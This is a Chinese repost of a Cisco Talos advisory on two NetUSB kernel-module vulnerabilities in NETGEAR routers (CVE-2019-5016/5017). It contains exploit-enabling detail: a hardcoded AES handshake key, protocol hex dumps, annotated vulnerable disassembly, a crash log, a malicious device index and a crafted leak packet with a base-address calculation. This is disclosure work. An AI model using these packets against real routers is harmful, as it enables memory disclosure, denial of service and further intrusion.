影响NETGEAR路由器的0-Day:KCodes NetUSB两个安全漏洞披露(CVE-2019-5016/5017)

栏目: 编程工具 · 发布时间: 5年前

内容简介:一、执行摘要近期,我们发现,KCodes的NetUSB内核模块中存在两个漏洞,可能允许攻击者不恰当地访问某些NETGEAR无线路由器上的信息。这些具体型号的路由器使用台湾公司KCodes的内核模块。内核模块是根据每个设备单独定制的,但这些内核模块都包含类似的功能。该模块通过TCP实现USB设备的共享,允许客户端使用各种供应商制造的驱动程序和软件连接到这些设备上。攻击者可以在本地网络上发送特定数据包,以利用NetUSB中存在的漏洞,使得路由器泄露敏感信息,甚至最严重能导致攻击者远程执行代码。

一、执行摘要

近期,我们发现,KCodes的NetUSB内核模块中存在两个漏洞,可能允许攻击者不恰当地访问某些NETGEAR无线路由器上的信息。这些具体型号的路由器使用台湾公司KCodes的内核模块。内核模块是根据每个设备单独定制的,但这些内核模块都包含类似的功能。

该模块通过TCP实现USB设备的共享,允许客户端使用各种供应商制造的驱动程序和软件连接到这些设备上。攻击者可以在本地网络上发送特定数据包,以利用NetUSB中存在的漏洞,使得路由器泄露敏感信息,甚至最严重能导致攻击者远程执行代码。

根据我们的协调披露政策,Cisco Talos就此漏洞与KCodes和NETGEAR取得了联系。在与KCodes开展合作之后,该供应商向NETGEAR提供了更新,并且NETGEAR已经计划发布更新。Talos团队决定在超过90天期限后公布相关漏洞的具体细节。

二、KCodes NetUSB未经身份验证的远程内核任意内存读取漏洞(TALOS-2018-0775/CVE-2019-5016)

2.1 摘要

KCodes NetUSB.ko内核模块中存在可以被攻击者利用的任意内存读取漏洞,该模块支持至少两种型号的NETGEAR Nighthawk路由器以及一些其他供应商/产品的ReadySHARE打印机功能。攻击者如果特制索引值,可能会导致无效的内存读取,从而导致拒绝服务或远程信息泄露。未经身份验证的攻击者可以在本地网络上精心构造一个数据包,从而触发此漏洞。

2.2 测试版本

NETGEAR Nighthawk AC3200(R8000),固件版本:V1.0.4.2810.1.54(11/7/18),NetUSB.ko 1.0.2.66

NETGEAR Nighthawk AC3000(R7900),固件版本:V1.0.3.810.0.37(11/7/18),NetUSB.ko 1.0.2.69

2.3 产品网址

http://www.kcodes.com

https://www.netgear.com/home/products/networking/wifi-routers/R7900.aspx

https://www.netgear.com/home/products/networking/wifi-routers/R8000.aspx

https://www.netgear.com/support/product/ReadySHAREUSBPrinter.aspx

2.4 CVSS v3得分

10.0 – CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H

2.5 CWE

CWE-200:信息泄露

2.6 漏洞细节

部分型号的NETGEAR路由器使用一家名为KCodes的台湾公司的定制内核模块NetUSB.ko。该模块是针对每个设备专门定制的,但不同模块之间的功能相类似。该模块通过TCP共享USB设备,允许客户端使用各种供应商制造的驱动程序和软件连接到这些设备,从而使得客户端主机将远程设备视为实际插入到计算机上的本地USB设备。在NETGEAR路由器上使用的软件名称为“NETGEAR USB Control Center”(NETGEAR USB控制中心),它使用名为“NetUSBUDSTcpBus.sys”(在Windows系统上)的驱动程序进行通信。许多其他产品都是用了NetUSB.ko。但遗憾的是,我们无法测试如此大量的潜在设备。在2015年,曾经披露了一个先前研究的漏洞,研究人员由此认为,这个内核模块的缺陷可能存在于多家供应商生产的多达92种产品之中。基于此分析,我们使用R8000硬件来测试R8000版本的NetUSB.ko(1.0.2.66),并使用R7900版本来测试R7900版本的NetUSB.ko(1.0.2.69),因为上述两个模块都是针对同一内核而编译的。

在建立与远程USB设备的通信时,必须首先进行握手。握手过程的工作原理如下:

客户端首先发送字节“0x5605”,然后发送16字节的“随机”数据。

00000000  56 05                                              V.
00000002  81 77 d9 74 f8 9f b4 74  ee 94 02 07 0d b1 38 40   .w.t...t <a href="/cdn-cgi/l/email-protection" data-cfemail="b59b9b9b9b9b9b8df5">[email protected]</a>

服务器(路由器)将使用静态AES密钥5c130b59d26242649ed488382d5eaecc对这些字节进行加密,该密钥被硬编码到NetUSB.ko中,并通过使用密钥0B7928FF6A76223C21A3B794084E1CAD解密0B7928FF6A76223C21A3B794084E1CAD来实现检索。

在加密客户端数据之后,加密的响应与16字节的“随机”数据一起被发送回客户端,以供客户端进行加密并返回。

00000000  29 9e 4d 05 f6 d0 9d 98  ae 7f 81 35 39 83 67 13   ).M..... ...59.g. // Client data encrypted
00000010  af 60 20 6b fa 52 7d 90  82 a3 82 63 f4 b1 14 c1   .` k.R}. ...c.... // Server data to be encrypted and returned

客户端通过使用相同的AES密钥加密“随机”服务器数据,然后将客户端计算机名称的长度作为小端格式的四个字节进行响应。接下来,发送的是计算机名称本身和同步(Synch)命令0x7,同样采用的是小端格式,长度为4个字节。

00000012  2c b7 34 c6 32 e3 70 0e  26 bc 66 48 b8 7b c1 1c   ,.4.2.p. &.fH.{.. // Encrypted server data
00000022  0c 00 00 00                                        ....              // Computer name length
00000026  57 49 4e 44 4f 57 53 50  43 2d 30 31               WINDOWSP C-01     // Computer name
00000032  07 00 00 00                                        ....              // Sync Command

当服务器以0x17作为响应时,握手完成(0x15表示设备不可用):

00000020  17 00 00 00                                        ....              // Connection Established

要实际使用设备并建立远程TCP总线,需要发送一系列操作码和数据到服务器上。建立此类通信时,第二个字节是堆栈中可用共享设备列表中的设备编号或索引。该字节没有经过验证,将会允许远程攻击者触发模块尝试读取任意内存,最终导致远程内存泄漏。在这个例子中,我们使用操作码0x2调用“getConfigDescriptor”。

易受攻击的代码:

00007E30 LDRB            R3, [R4,#1] ; R4 is our command buffer, R3 is set with our index value
00007E34 ADD             R3, R6, R3,LSL#2 ; add index*4 to the r6 (sbus address -- holds our session info) this is where we can use a malicious index (0x8a) to instead point this buffer to our hostname in the sbus buffer
00007E38 LDR             R5, [R3,#0x2C] ; increment the sbus address by 0x2c
00007E3C CMP             R5, #0 ; Ensure value is not NULL
00007E40 BNE             loc_7E68 ; Br
 
00007E68 LDR             R7, [R5,#0x44] R5 now points to our hostname buffer + 0x44
[snip]
00007E84 BL              getConfigDescriptor ;
[snip]
00003960 getConfigDescriptor
[snip]
00003A48 LDR             R3, [R5,#0x1B4] ; dereference [R5+0x44] pointer
00003A4C LDR             R3, [R3,R7,LSL#2] ; R7 we control with the 3rd byte in our command, we leave this at 0.
00003A50 LDRB            R2, [R3,#2] ; R2 = 3rd byte of [R3]
00003A54 LDRB            R3, [R3,#3] ; R3 = 4th byte of [R3]
00003A58 ORR             R2, R2, R3,LSL#8 ; R2 = R2 | R3 * 256 -- this is the memcpy size if < 0x9
00003A5C LDR             R3, [R5,#0x1B4] ; Again dereference [r5+0x44] pointer
00003A60 CMP             R6, R2 ; compare R6 (descriptor length -- hardcoded 0x9) to our R2 value obtained at 0x3a58
00003A64 MOVGE           R0, R4
00003A68 MOVLT           R0, R4 ; This destination is the data buffer that will be sent back to the client
00003A6C MOVLT           R2, R6 ; If R6 < R2 at 0x3a60, use R6 as the count parameter (0x9).
00003A70 LDRGE           R1, [R3,R7,LSL#2] ; This will be our source buffer
00003A74 LDRLT           R1, [R3,R7,LSL#2] ; This is the pointer we received at 0x3a5c
00003A78 BL              memcpy ; We can now control what data is read into this buffer and eventually the memory contents are returned to the client.

2.7 崩溃信息

如果我们能在任意时刻给出一个无效的地址,那么就可以对目标进行简单地DoS(拒绝服务)攻击:

[  116.820000] INFO1624: new connection from 192.168.1.2 : cf5d3a00
[  117.420000] INFO1EFE: command local:00000017 remote:00000007 final:00000007
[  117.430000] INFO1F3C: new Tunnel : remote ID = MYHOSTNAME, length = 10
[  117.440000] INFO14A5:  new connection sbus ca8ed400
[  117.440000]  V4 : 0201A8C0
[  117.630000] kc  144 : dbgd client connect ok cf5d36c0
[  117.830000] INFO04FB: _fillBuf(): len = 0
[  117.830000] INFO0471: KTCP_Stop : sbus ca8ed400 name:MYHOSTNAME
[  117.840000] INFO146F: SoftwareBus_dispatchThread exit
[  118.050000] INFO1624: new connection from 192.168.1.2 : cf68e000
[  118.650000] INFO1EFE: command local:00000017 remote:00000007 final:00000007
[  118.660000] INFO1F3C: new Tunnel : remote ID = PAD�@AA�Ԏ�`֎ʠ�, length = 19
[  118.660000] INFO14A5:  new connection sbus ca8ed400
[  118.670000]  V4 : 0201A8C0
[  119.050000] Unable to handle kernel paging request at virtual address 41414141
[  119.060000] pgd = c0004000
[  119.060000] [41414141] *pgd=00000000
[  119.060000] Internal error: Oops: 5 [#1] PREEMPT SMP
[  119.060000] last sysfs file: /sys/kernel/uevent_seqnum
[  119.060000] module:  NetUSB   bf111000        162837
[  119.060000] module:  GPL_NetUSB       bf10a000        3743
[  119.060000] module:  MultiSsidCntl    bf103000        5265
[  119.060000] module:  ip_set_hash_net  bf0f7000        21118
[  119.060000] module:  ip_set_hash_ipmark       bf0ec000        18532
[  119.060000] module:  ip_set_list_set  bf0e5000        6885
[  119.060000] module:  ip_set_hash_netiface     bf0d9000        22630
[  119.060000] module:  ip_set_hash_ipmac        bf0ce000        19038
[  119.060000] module:  ip_set_hash_mac  bf0c6000        9433
[  119.060000] module:  ip_set_hash_ip   bf0bb000        18296
[  119.060000] module:  ip_set_hash_netportnet   bf0ae000        25242
[  119.060000] module:  ip_set_hash_ipportnet    bf0a2000        24446
[  119.060000] module:  ip_set_bitmap_port       bf09e000        5721
[  119.060000] module:  ip_set_hash_netport      bf092000        22954
[  119.060000] module:  ip_set_hash_ipport       bf087000        19156
[  119.060000] module:  ip_set_bitmap_ipmac      bf048000        6351
[  119.060000] module:  ip_set_hash_netnet       bf026000        24018
[  119.060000] module:  ip_set_hash_ipportip     bf01b000        20008
[  119.060000] module:  ip_set_bitmap_ip         bf007000        6397
[  119.060000] module:  ip_set   bf686000        24837
[  119.060000] module:  ipv6_spi         bf675000        39791
[  119.060000] module:  ufsd     bf5c7000        627276
[  119.060000] module:  jnl      bf5b8000        29052
[  119.060000] module:  acos_nat         bf258000        3444282
[  119.060000] module:  dhd      bf04b000        236809
[  119.060000] module:  dpsta    bf045000        2921
[  119.060000] module:  et       bf030000        52421
[  119.060000] module:  igs      bf015000        13866
[  119.060000] module:  emf      bf00b000        16229
[  119.060000] module:  ctf      bf000000        17805
[  119.060000] Modules linked in: NetUSB(P) GPL_NetUSB MultiSsidCntl(P) ip_set_hash_net ip_set_hash_ipmark ip_set_list_set ip_set_hash_netiface ip_set_hash_ipmac ip_set_hash_mac ip_set_hash_ip ip_set_hash_netportne
t ip_set_hash_ipportnet ip_set_bitmap_port ip_set_hash_netport ip_set_hash_ipport ip_set_bitmap_ipmac ip_set_hash_netnet ip_set_hash_ipportip ip_set_bitmap_ip ip_set ipv6_spi(P) ufsd(P) jnl acos_nat(P) dhd dpsta(P)
 et(P) igs(P) emf(P) ctf(P) [last unloaded: ipv6_spi]
[  119.060000] CPU: 0    Tainted: P             (2.6.36.4brcmarm+ #17)
[  119.060000] PC is at SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB]
[  119.060000] LR is at SoftwareBus_reportConfigDescGot+0x58/0x268 [NetUSB]
[  119.060000] pc : [<bf118e68>]    lr : [<bf118e30>]    psr: 20000013
[  119.060000] sp : ca00ff60  ip : cf937fe0  fp : 00000000
[  119.060000] r10: 00000000  r9 : 00000000  r8 : 00000000
[  119.060000] r7 : bf124f1c  r6 : ca8ed400  r5 : 414140fd  r4 : cf937fe0
[  119.060000] r3 : ca8ed628  r2 : 00000000  r1 : a0000013  r0 : ca8ed400
[  119.060000] Flags: nzCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment kernel
[  119.060000] Control: 10c53c7d  Table: 8a05c04a  DAC: 00000017
[  119.060000] Process NU Work:4696 (pid: 20370, stack limit = 0xca00e270)
[  119.060000] Stack: (0xca00ff60 to 0xca010000)
[  119.060000] ff60: 7fffffff ca8866f0 ca8866f4 c03830c4 ffffffff ffffffff ca00e000 04134868
[  119.060000] ff80: cf937fc0 00000000 ca00ffcc bf124f1c 00000000 00000000 00000000 bf11ec68
[  119.060000] ffa0: ca8866c0 bf134868 ca00ffcc bf124f70 00000000 ca065f28 ca8866c0 c0078cdc
[  119.060000] ffc0: ca065f28 00000000 ca8866c0 00000001 00000000 00000000 ca00ffd8 ca00ffd8
[  119.060000] ffe0: 00000000 ca065f28 c0078c58 c0040b58 00000013 c0040b58 00000000 00000000
[  119.060000] [<bf118e68>] (PC is at SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB])
[  119.060000] [<bf118e68>] (SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB]) from [<bf11ec68>] (SoftwareBusWorkThreadProc+0x90/0xc4 [NetUSB])
[  119.060000] [<bf11ec68>] (SoftwareBusWorkThreadProc+0x90/0xc4 [NetUSB]) from [<bf124f70>] (_thread_create_helper+0x54/0x114 [NetUSB])
[  119.060000] [<bf124f70>] (_thread_create_helper+0x54/0x114 [NetUSB]) from [<c0078cdc>] (kthread+0x84/0x8c)
[  119.060000] [<c0078cdc>] (kthread+0x84/0x8c) from [<c0040b58>] (kernel_thread_exit+0x0/0x8)
[  119.060000] Code: eb3d9379 e5c45003 e5c45004 ea000033 (e5957044)
[  119.430000] INFO04FB: _fillBuf(): len = 0
[  119.440000] ---[ end trace 54b44174edbb4652 ]---
[  119.440000] Kernel panic - not syncing: Fatal exception
[  119.450000] [<c0046358>] (unwind_backtrace+0x0/0xe4) from [<c0382d94>] (panic+0x68/0x194)
[  119.460000] [<c0382d94>] (panic+0x68/0x194) from [<c0043548>] (die+0x194/0x1dc)
[  119.460000] [<c0043548>] (die+0x194/0x1dc) from [<c00474f8>] (__do_kernel_fault+0x64/0x84)
[  119.470000] [<c00474f8>] (__do_kernel_fault+0x64/0x84) from [<c00476dc>] (do_page_fault+0x1c4/0x1d8)
[  119.480000] [<c00476dc>] (do_page_fault+0x1c4/0x1d8) from [<c003f3a4>] (do_DataAbort+0x30/0x98)
[  119.490000] [<c003f3a4>] (do_DataAbort+0x30/0x98) from [<c0463a8c>] (__dabt_svc+0x4c/0x60)
[  119.500000] Exception stack(0xca00ff18 to 0xca00ff60)
[  119.500000] ff00:                                                       ca8ed400 a0000013
[  119.510000] ff20: 00000000 ca8ed628 cf937fe0 414140fd ca8ed400 bf124f1c 00000000 00000000
[  119.520000] ff40: 00000000 00000000 cf937fe0 ca00ff60 bf118e30 bf118e68 20000013 ffffffff
[  119.530000] [<c0463a8c>] (__dabt_svc+0x4c/0x60) from [<bf118e68>] (SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB])
[  119.540000] [<bf118e68>] (SoftwareBus_reportConfigDescGot+0x90/0x268 [NetUSB]) from [<bf11ec68>] (SoftwareBusWorkThreadProc+0x90/0xc4 [NetUSB])
[  119.550000] [<bf11ec68>] (SoftwareBusWorkThreadProc+0x90/0xc4 [NetUSB]) from [<bf124f70>] (_thread_create_helper+0x54/0x114 [NetUSB])
[  119.560000] [<bf124f70>] (_thread_create_helper+0x54/0x114 [NetUSB]) from [<c0078cdc>] (kthread+0x84/0x8c)
[  119.570000] [<c0078cdc>] (kthread+0x84/0x8c) from [<c0040b58>] (kernel_thread_exit+0x0/0x8)
[  119.580000] dump_kmsg: dump list lock is held during panic, skipping dump
[  119.590000] CPU1: stopping
[  119.590000] [<c0046358>] (unwind_backtrace+0x0/0xe4) from [<c003f2f0>] (do_IPI+0xfc/0x180)
[  119.590000] [<c003f2f0>] (do_IPI+0xfc/0x180) from [<c0463ae8>] (__irq_svc+0x48/0xe8)
[  119.590000] Exception stack(0xcf83df98 to 0xcf83dfe0)
[  119.590000] df80:                                                       00000000 cd7e0f00
[  119.590000] dfa0: cf83dfe0 00000000 cf83c000 c04b0bc8 c04d50a8 c04d5220 80000000 413fc090
[  119.590000] dfc0: 0000001f 00000000 c0508cd8 cf83dfe0 c0040bb0 c0040bb4 60000013 ffffffff
[  119.590000] [<c0463ae8>] (__irq_svc+0x48/0xe8) from [<c0040bb4>] (default_idle+0x24/0x28)
[  119.590000] [<c0040bb4>] (default_idle+0x24/0x28) from [<c0040d1c>] (cpu_idle+0x40/0x94)
[  119.590000] [<c0040d1c>] (cpu_idle+0x40/0x94) from [<80008110>] (0x80008110)
[  119.870000] NVRAM LOG 16384 33858 50242
[  120.080000] Rebooting in 3 seconds..Digital core power voltage set to 1.0V

2.8 漏洞利用概念证明

在此示例中,我没有将任何设备连接到路由器。我使用设备索引0x8a,它将指向计算机名称(在握手的过程中放置在栈上),而不是有效的设备索引。根据设备编号读取的地址取决于栈上的设备数量,因为栈将随着附加设备的增多而增长。但是,可以像攻击者希望的那样经常增加或修改此值,直到成功实现漏洞利用。此示例中的操作码(索引之前的字节)是0x02或getConfigDescriptor。

2.9 时间线

2019-02-01 向供应商报告漏洞

2019-02-11 供应商确认漏洞,并询问PGP

2019-03-06 发送报告的纯文本副本,确保NetGear也了解漏洞情况

2019-05-08 向供应商同步当前进展

2019-05-15 供应商建议为NetGear提供新的模块

2019-06-17 公开发布

2.10 贡献者

该漏洞由Cisco Talos团队的Dave McDaniel发现。

三、KCodes NetUSB未经身份验证的远程内核信息泄露漏洞(TALOS-2018-0776/CVE-2019-5017)

3.1 摘要

KCodes NetUSB.ko内核模块中存在可以被攻击者利用的信息泄露漏洞,该漏洞至少影响两种型号的NETGEAR Nighthawk路由器以及一些其他供应商/产品的ReadySHARE打印机功能。未经身份验证的远程攻击者可以精心构造并发送包含操作码的数据包,该操作码将触发内核模块返回多个地址,其中的一个地址可以用于计算模块的动态基址,以供进一步利用。

3.2 测试版本

NETGEAR Nighthawk AC3200(R8000),固件版本:V1.0.4.2810.1.54(11/7/18),NetUSB.ko 1.0.2.66

3.3 产品网址

http://www.kcodes.com

https://www.netgear.com/home/products/networking/wifi-routers/R8000.aspx

https://www.netgear.com/support/product/ReadySHAREUSBPrinter.aspx

3.4 CVSS v3得分

5.8 – CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

3.5 CWE

CWE-200:信息泄露

3.6 漏洞细节

部分型号的NETGEAR路由器使用一家名为KCodes的台湾公司的定制内核模块NetUSB.ko。该模块是针对每个设备专门定制的,但不同模块之间的功能相类似。该模块通过TCP共享USB设备,允许客户端使用各种供应商制造的驱动程序和软件连接到这些设备,从而使得客户端主机将远程设备视为实际插入到计算机上的本地USB设备。在NETGEAR路由器上使用的软件名称为“NETGEAR USB Control Center”(NETGEAR USB控制中心),它使用名为“NetUSBUDSTcpBus.sys”(在Windows系统上)的驱动程序进行通信。许多其他产品都是用了NetUSB.ko。但遗憾的是,我们无法测试如此大量的潜在设备。在2015年,曾经披露了一个先前研究的漏洞,研究人员由此认为,这个内核模块的缺陷可能存在于多家供应商生产的多达92种产品之中。基于此分析,我们使用R8000硬件来测试R8000版本的NetUSB.ko(1.0.2.66),并使用R7900版本来测试R7900版本的NetUSB.ko(1.0.2.69),因为上述两个模块都是针对同一内核而编译的。

在建立与远程USB设备的通信时,必须首先进行握手。握手过程的工作原理如下:

客户端首先发送字节“0x5605”,然后发送16字节的“随机”数据。

00000000  56 05                                              V.
00000002  81 77 d9 74 f8 9f b4 74  ee 94 02 07 0d b1 38 40   .w.t...t <a href="/cdn-cgi/l/email-protection" data-cfemail="5a747474747474621a">[email protected]</a>

服务器(路由器)将使用静态AES密钥5c130b59d26242649ed488382d5eaecc对这些字节进行加密,该密钥被硬编码到NetUSB.ko中,并通过使用密钥0B7928FF6A76223C21A3B794084E1CAD解密0B7928FF6A76223C21A3B794084E1CAD来实现检索。

在加密客户端数据之后,加密的响应与16字节的“随机”数据一起被发送回客户端,以供客户端进行加密并返回。

00000000  29 9e 4d 05 f6 d0 9d 98  ae 7f 81 35 39 83 67 13   ).M..... ...59.g. // Client data encrypted
00000010  af 60 20 6b fa 52 7d 90  82 a3 82 63 f4 b1 14 c1   .` k.R}. ...c.... // Server data to be encrypted and returned

客户端通过使用相同的AES密钥加密“随机”服务器数据,然后将客户端计算机名称的长度作为小端格式的四个字节进行响应。接下来,发送的是计算机名称本身和同步(Synch)命令0x7,同样采用的是小端格式,长度为4个字节。

00000012  2c b7 34 c6 32 e3 70 0e  26 bc 66 48 b8 7b c1 1c   ,.4.2.p. &.fH.{.. // Encrypted server data
00000022  0c 00 00 00                                        ....              // Computer name length
00000026  57 49 4e 44 4f 57 53 50  43 2d 30 31               WINDOWSP C-01     // Computer name
00000032  07 00 00 00                                        ....              // Sync Command

当服务器以0x17作为响应时,握手完成(0x15表示设备不可用):

00000020  17 00 00 00                                        ....              // Connection Established

要实际使用设备并建立远程TCP总线,需要发送一系列操作码和数据到服务器上。建立此类通信时,第二个字节是堆栈中可用共享设备列表中的设备编号或索引。其中,有一个操作码为0x0c,这是一个指示我们希望调用SoftwareBus_processSetDeviceMaster函数的索引。攻击者可以构造非常简单的请求,例如索引为0,后面紧接着至少16个字节的数据的操作码,就足以触发这个漏洞。

00000000: 0C 00 41 41 41 41 41 41  41 41 41 41 41 41 41 41  ..AAAAAAAAAAAAAA
00000010: 41 41                                             AA

响应包括至少4个地址和3个附加字节的数据。接收到的地址样例如下所示,可以允许客户端计算NetUSB.ko模块的基址。

[-] Raw Response
00000000: 15 00 E1 FF 00 E0 25 CA  68 48 13 BF CC FF 25 CA  ......%.hH....%.
00000010: 98 56 06                                          .V.
 
[-] Parsed Response
Address Found: 0xFFE10015
Address Found: 0xCA25E000 # Likely stack boundary (Always 0x1FCC bytes apart)
Address Found: 0xBF134868 # Pointer to `softwarebus_do_iPod_init_set_configuration`
Address Found: 0xCA25FFCC # Likely a stack boundary (Always 0x1FCC bytes apart)
NetUSB.ko Base Address Found: 0xBF111000

收到的第三部分内容是这个漏洞要成功利用的关键因素,它始终指向NetUSB.ko模块的.bss部分中的值:

bss:00023868 softwarebus_do_iPod_init_set_configuration

了解这一点之后,再使用上面的示例会话,我们可以从0xBF134868中减去偏移量0x23868得到基址0xBF111000。这是我们在测试期间发现的最为常见的基址,但也可能偶尔会在重新启动时发生变化。

3.7 时间线

2019-02-01 向供应商报告漏洞

2019-02-11 供应商确认漏洞,并询问PGP

2019-03-06 发送报告的纯文本副本,确保NetGear也了解漏洞情况

2019-05-08 向供应商同步当前进展

2019-05-15 供应商建议为NetGear提供新的模块

2019-06-14 公开发布

3.8 贡献者

该漏洞由Cisco Talos团队的Dave McDaniel发现。

四、受影响的版本

Talos团队测试并确认了CVE-2019-5016和CVE-2019-5017漏洞影响NETGEAR Nighthawk AC3200(R8000),固件版本为1.0.4.28_10.1.54 — NetUSB.ko 1.0.2.66。CVE-2019-5016漏洞影响NETGEAR Nighthawk AC3000(R7900),固件版本为1.0.3.8_10.0.37 (11/1/18) — NetUSB.ko 1.0.2.69。

五、安全补丁

目前尚未发布针对上述两个漏洞的安全补丁。

六、检测方式

下面的SNORT规则可以检测漏洞利用的尝试。需要注意的是,可能会在将来的某个时间发布其他规则,并且根据该漏洞其他信息的披露,当前规则可能会发生更改。有关最新的规则信息,请参考Firepower管理中心或Snort.org。

Snort规则:49087


以上所述就是小编给大家介绍的《影响NETGEAR路由器的0-Day:KCodes NetUSB两个安全漏洞披露(CVE-2019-5016/5017)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

MongoDB

MongoDB

Kristina Chodorow、Michael Dirolf / O'Reilly Media / 2010-9-24 / USD 39.99

Discover how MongoDB can help you manage a huMONGOus amount of data collected through your web application. This book covers the basic principles and advanced uses of this document-oriented database, ......一起来看看 《MongoDB》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具